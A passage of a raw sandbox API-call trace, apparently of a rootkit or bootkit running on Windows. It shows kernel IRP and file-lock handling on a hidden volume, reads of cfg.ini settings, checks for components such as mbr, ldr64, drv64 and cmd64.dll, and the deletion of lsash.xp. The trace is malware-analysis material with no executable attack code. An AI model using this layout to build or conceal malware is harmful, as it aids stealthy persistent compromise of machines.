FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.159] KeLeaveCriticalRegion () [0128.159] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.159] ReleaseMutex (hMutex=0xf0) returned 1 [0128.159] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.159] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.159] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.159] KeEnterCriticalRegion () [0128.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.159] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.159] IdePortDispatch () returned 0x103 [0128.159] KeWaitForMutexObject () returned 0x0 [0128.159] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.159] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.159] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.160] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.160] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.160] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038bd080 [0128.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.160] KeLeaveCriticalRegion () [0128.160] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.160] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.160] KeEnterCriticalRegion () [0128.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.160] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.160] KeLeaveCriticalRegion () [0128.160] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.160] KeEnterCriticalRegion () [0128.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.160] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.160] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.160] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.160] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.160] IdePortDispatch () returned 0x103 [0128.160] KeWaitForMutexObject () returned 0x0 [0128.160] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.160] KeLeaveCriticalRegion () [0128.160] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.161] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.161] KeEnterCriticalRegion () [0128.161] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.161] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd6000 [0128.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.161] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.161] IdePortDispatch () returned 0x103 [0128.161] KeWaitForMutexObject () returned 0x0 [0128.161] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.161] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.161] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.161] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.161] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.161] IdePortDispatch () returned 0x103 [0128.161] KeWaitForMutexObject () returned 0x0 [0128.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.161] KeLeaveCriticalRegion () [0128.162] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.162] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.162] KeEnterCriticalRegion () [0128.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.162] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.162] KeLeaveCriticalRegion () [0128.162] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.162] KeEnterCriticalRegion () [0128.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.162] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.162] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac49c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.162] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.162] KeLeaveCriticalRegion () [0128.162] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.162] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.162] KeEnterCriticalRegion () [0128.162] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.162] ExFreePoolWithTag (P=0xfffffa80038bd080, Tag=0x0) [0128.163] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.163] KeLeaveCriticalRegion () [0128.163] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.163] ReleaseMutex (hMutex=0xf0) returned 1 [0128.163] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.163] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.163] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.163] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.163] KeEnterCriticalRegion () [0128.163] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.163] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.163] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.163] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.163] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.163] IdePortDispatch () returned 0x103 [0128.163] KeWaitForMutexObject () returned 0x0 [0128.163] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.163] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.163] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.163] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.163] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.163] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.163] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.163] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.163] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.163] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.163] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.164] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.164] KeLeaveCriticalRegion () [0128.164] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.164] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.164] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.164] KeEnterCriticalRegion () [0128.164] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.164] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.164] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.164] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.164] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.164] IdePortDispatch () returned 0x103 [0128.164] KeWaitForMutexObject () returned 0x0 [0128.164] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.164] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.164] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.164] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.164] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.164] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.164] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.164] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.164] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.164] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.164] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.165] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.165] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.165] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.165] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.165] KeLeaveCriticalRegion () [0128.165] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.165] ReleaseMutex (hMutex=0x100) returned 1 [0128.165] Sleep (dwMilliseconds=0x2bf20) [0128.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f9738d0, dwHighDateTime=0x1d24fa4)) [0128.173] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.173] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.173] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.173] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.173] KeEnterCriticalRegion () [0128.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.173] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.173] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.173] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.173] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.173] IdePortDispatch () returned 0x103 [0128.173] KeWaitForMutexObject () returned 0x0 [0128.173] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.173] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.173] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.173] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.173] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.173] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003950930 [0128.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.173] KeLeaveCriticalRegion () [0128.173] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.174] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.174] KeEnterCriticalRegion () [0128.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.174] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.174] KeLeaveCriticalRegion () [0128.174] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.174] KeEnterCriticalRegion () [0128.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.174] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.174] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.174] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.174] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.174] IdePortDispatch () returned 0x103 [0128.174] KeWaitForMutexObject () returned 0x0 [0128.174] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.174] KeLeaveCriticalRegion () [0128.174] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.174] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.174] KeEnterCriticalRegion () [0128.174] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.174] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cd9000 [0128.174] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.175] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.175] IdePortDispatch () returned 0x103 [0128.175] KeWaitForMutexObject () returned 0x0 [0128.175] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.175] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.175] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0128.175] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.175] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.175] IdePortDispatch () returned 0x103 [0128.175] KeWaitForMutexObject () returned 0x0 [0128.175] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.175] KeLeaveCriticalRegion () [0128.175] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.176] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.176] KeEnterCriticalRegion () [0128.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.176] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.176] KeLeaveCriticalRegion () [0128.176] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.176] KeEnterCriticalRegion () [0128.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.176] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0128.176] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.176] KeLeaveCriticalRegion () [0128.176] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.176] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.176] KeEnterCriticalRegion () [0128.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.176] ExFreePoolWithTag (P=0xfffffa8003950930, Tag=0x0) [0128.176] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.176] KeLeaveCriticalRegion () [0128.176] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.176] ReleaseMutex (hMutex=0xf0) returned 1 [0128.176] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.177] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.177] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.177] KeEnterCriticalRegion () [0128.177] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.177] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.177] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.177] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.177] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.177] IdePortDispatch () returned 0x103 [0128.177] KeWaitForMutexObject () returned 0x0 [0128.177] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.177] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.177] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.177] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.177] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.177] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037af830 [0128.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.177] KeLeaveCriticalRegion () [0128.177] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.177] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.178] KeEnterCriticalRegion () [0128.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.178] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0128.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.178] KeLeaveCriticalRegion () [0128.178] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.178] KeEnterCriticalRegion () [0128.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0128.178] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.178] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.178] IdePortDispatch () returned 0x103 [0128.178] KeWaitForMutexObject () returned 0x0 [0128.178] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.178] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.178] KeLeaveCriticalRegion () [0128.178] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0128.178] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.178] KeEnterCriticalRegion () [0128.178] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.178] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cda000 [0128.178] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0128.178] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: 